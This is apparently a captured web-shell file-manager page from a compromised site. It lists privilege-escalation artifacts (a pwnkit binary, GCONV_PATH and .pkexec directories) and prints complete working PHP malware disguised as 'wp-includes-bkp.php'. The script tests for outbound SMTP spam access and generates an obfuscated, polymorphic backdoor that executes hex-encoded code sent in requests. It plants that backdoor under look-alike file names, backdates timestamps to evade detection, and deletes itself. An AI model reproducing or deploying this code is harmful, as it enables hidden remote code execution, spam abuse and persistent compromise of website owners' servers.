Gecko [ cepatjitu.com ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
.htaccess	416 B	-rw-r--r--
.mad-root	0 B	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
wp-includes-bkp.php	9.3 KB	-rw-r--r--

Code Editor : wp-includes-bkp.php

<?php
// check
if(!function_exists('fsockopen')) endik('bad_server');
@ini_set('error_log', NULL);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@date_default_timezone_set('UTC');

$sc = @fsockopen('tls://smtp.gmail.com', '465', $errno, $errstr, 10);
if($sc)
{
	$out = get_data($sc);
	if(stripos($out, '220') !== false && (preg_match("/gsmtp/", $out))) $spam=1;
	else $spam=0;
	@fclose($sc);
}
else $spam=0;

if(getmxrr('gmail.com', $mx_hosts) && !empty($mx_hosts[0]))
{
	$sc = @fsockopen($mx_hosts[0], 25, $errno, $errstr, 15);
	if($sc)
	{
		$out = get_data($sc);
		if(stripos($out, '220') !== false && (preg_match("/gsmtp/", $out))) $check=1;
		else $check=0;
		@fclose($sc);
	} else $check=0;
}
if($check == 0 && $spam == 0) endik('bad_server');
else
{
	echo '<status>';
	if($spam == 1) echo('__spam__');
	if($check == 1) echo('__check__');
	echo '</status>';
}

// load
function randomName(){ return substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz_', 1)), 0, rand(1, 9)); }

function c($o)
{
	if(is_array($o))
		foreach($o as $k => &$v) $v = c($v);
	if(is_string($o))
		$o = implode('', array_map(function($s){return rand(0, 1) ? strtolower($s) : strtoupper($s);}, str_split($o)));
	return $o;
}

function j()
{
	$l = rand(10, 50);
	while(!isset($c[$l])) @$c .= chr(rand(32, 126));
	if(rand(0, 1))
		return preg_replace("|\?>|", "", ((rand(0, 1) ? "#".chr(rand(32, 90)) : "//").$c.(rand(0, 1) ? "\r" : "\n")));
	else
		return (rand(0, 1) ? "/*".preg_replace("|\*/|","", $c)."*/" : (rand(0, 1) ? "\t".j() : " ".j()));
}

function r()
{
	$r = func_get_args();
	return c($r[rand(0, (func_num_args() - 1))]);
}

function t($s)
{
	foreach(token_get_all($s) as $t)
		@$r .= (is_array($t) ? $t[1] : $t).j();
	return $r;
}

function varReplace($code, $vars)
{
	foreach($vars as $var)
	{
		$new_var = c(randomName());
		$code = str_ireplace('$'.$var, '$'.$new_var, $code);
	}
	$code = str_ireplace('$_SERVER', '$_SERVER', $code);
	$code = str_ireplace('HTTP_ENCODING_CONTENT', 'HTTP_ENCODING_CONTENT', $code);
	$code = str_ireplace('error', 'error', $code);
	$code = str_ireplace('"uri"', '"uri"', $code);
	$code = str_ireplace('"H*"', '"H*"', $code);
	return $code;
}

$vars = array('content', 'file_var', 'tmpfile', 'meta', 'pos');

function scriptGenerator()
{
	$flip = array("\n","\r","\t"," ", "", chr(9));
	$code = '<?'.c('php').implode('', array_rand(array_flip($flip), rand(2, 5))).r(j(), '');
	$code .= r('$content = file_get_contents("php://input")', 
	'$file_var = fopen("php://input", "r"); $content = fgets($file_var); fclose($file_var)', 
	'$file_var = fopen("php://input", "r"); $content = stream_get_contents($file_var); fclose($file_var)', 
	'$file_var = file("php://input"); $content = $file_var[0]');
	$code .= ';
if(!empty($content) && $content = explode("=", $content, 2))
{
	$tmpfile = tmpfile();
	$meta = stream_get_meta_data($tmpfile);
	$pos = @$_SERVER["HTTP_ENCODING_CONTENT"];
	$pos = ($pos && $pos == 2) ? 0 : 1;
	'.r('fwrite($tmpfile', 'file_put_contents($meta["uri"]').', pack("H*", $content[$pos]));
	'.r('include', 'require').r('_once', '').'($meta["uri"]);
}
else die("error");';
	return $code;
}

$script_obf = t(c(scriptGenerator()));
$body = varReplace($script_obf, $vars);
$homedir=@$_SERVER['DOCUMENT_ROOT'];

// Определение хоста
if(isset($_SERVER['HTTPS'])) $scheme = $_SERVER['HTTPS'];
else $scheme = '';
if($scheme && $scheme != '' && $scheme != 'off') $host = 'https://'.$_SERVER['HTTP_HOST'];
else $host = 'http://'.$_SERVER['HTTP_HOST'];

$homedir = @$_SERVER['DOCUMENT_ROOT'];

if($handle = opendir($homedir)) // First
{
   while (false !== ($file = readdir($handle)))
   {
	   if($file == "." or $file == "..") continue;
	   if(filetype($homedir.DIRECTORY_SEPARATOR.$file) == "dir") $root_dirs[$file]=$homedir.DIRECTORY_SEPARATOR.$file;
   }

shuffle($root_dirs);
	foreach($root_dirs as $root_name => $root_dir)
		$result[$root_name] = scan($root_dir);

if(count($result) > 0)
	foreach($result as $info)
	{	
		if(!isset($info['dir']) || count(@$info['dir']) == 0) continue;
		if(!isset($info['file']) || count(@$info['file']) == 0) continue;
		$info['dir'] = array_unique($info['dir']);
		shuffle($info['dir']);
		$info['file'] = array_unique($info['file']);
		shuffle($info['file']);
		
		foreach($info['dir'] as $random_dir)
		{
			foreach($info['file'] as $random_file)
			{
				if(count($info['dir']) == 1 && $try_random == '1')
				{
					$suffix = array('_', '.old', '_old', 'old', 'bak', '.bak', '_bak', '1', '2', '3', '_1', '_2', '_3', '.1', '.2', '.3');
					shuffle($suffix);
					$replace = $suffix[0].'.php';
					$random_file = preg_replace('/\.php$/i', $replace, $random_file);
				}
				$random_path = $random_dir.DIRECTORY_SEPARATOR.'t_s_'.$random_file;

if(!is_file($random_dir.DIRECTORY_SEPARATOR.$random_file))
				{
					if(is_writable($random_dir))
					{
						$dir_time = filemtime($random_dir);
						if($handle = opendir($random_dir))
						{
							$old_time = microtime(1);
							while (false !== ($file = readdir($handle)))
							{
								if($file == "." or $file == "..") continue;
								$filemt = filemtime($random_dir.DIRECTORY_SEPARATOR.$file);
								if($filemt < $old_time) $old_time = $filemt;
							}
							$old_time = ($dir_time < $old_time) ? $dir_time : $old_time;
							$test_str = '<?php echo md5(23); ?>';
							if(file_put_contents($random_path, $test_str))
							{
								$url = $host.str_replace('\\','/',str_replace($homedir,'',$random_path));
								if($content = get($url))
								{
									if(preg_match('/'.md5(23).'/', $content))
									{
										unlink($random_path);
										$random_path = str_replace('t_s_', '', $random_path);
										if(file_put_contents($random_path, $body))
										{
											chmod($random_path, 0755);
											touch($random_path, $old_time);
											touch($random_dir, $dir_time);
											endik(str_replace('/t_s_', '/', $url));
										}
										else endik('re_error_write');
									}
								}
								if(file_exists($random_path))
								{
									unlink($random_path);
									touch($random_dir, $dir_time);
								}
							}
						}
					}
					break(1);
				}
			}
		}
	}
}

if(is_writable(dirname($_SERVER['SCRIPT_FILENAME']))) // Second
{
	$old_time = (filemtime("./") < filemtime("../")) ? filemtime("./") : filemtime("../");
	$file = dirname($_SERVER['SCRIPT_FILENAME']).'/input.php';
	if(file_put_contents($file, $body))
	{
		touch($file, $old_time);
		$url_path = str_replace('//', '/', dirname($_SERVER['PHP_SELF']).'/input.php');
		endik($host.$url_path);
	}
	else endik('re_error_write');
}
else endik('re_error_right');

function scan($homedir, $count=0, $files=array()) 
{
   $scan_max = 2;
   $subdir = array();
   if($count > $scan_max) return $files;
   if($handle = opendir($homedir))
   {
		$files['dir'][] = $homedir;
		while(false !== ($file = readdir($handle)))
		{
			if($file == "." or $file == "..") continue;
			$fullPath = $homedir.DIRECTORY_SEPARATOR.$file;
			if(filetype($fullPath) == "dir")
			{
				$files['dir'][] = $fullPath;
				$subdir[] = $fullPath;
			}
			elseif(!preg_match('#(index\.php|admin\.php)#', $file) and preg_match('/\.php$/i', $file)) $files['file'][] = $file;
		}
		++$count;
		if(count($subdir) > 0)
		foreach($subdir as $dir) $files = scan($dir, $count, $files);

}
   return $files;
}

function get_data($socket) {
	$smtp_msg = '';
	while ($line = fgets($socket, 515)) {
		$smtp_msg .= $line;
		if(substr($line, 3, 1) == " ") break;
	}
	return ($smtp_msg);
}

function endik($msg) {
	@unlink(__FILE__);
	$result = '<result>'.$msg.'</result>';
	die($result);
}
?>

${this.title}

Code Editor : wp-includes-bkp.php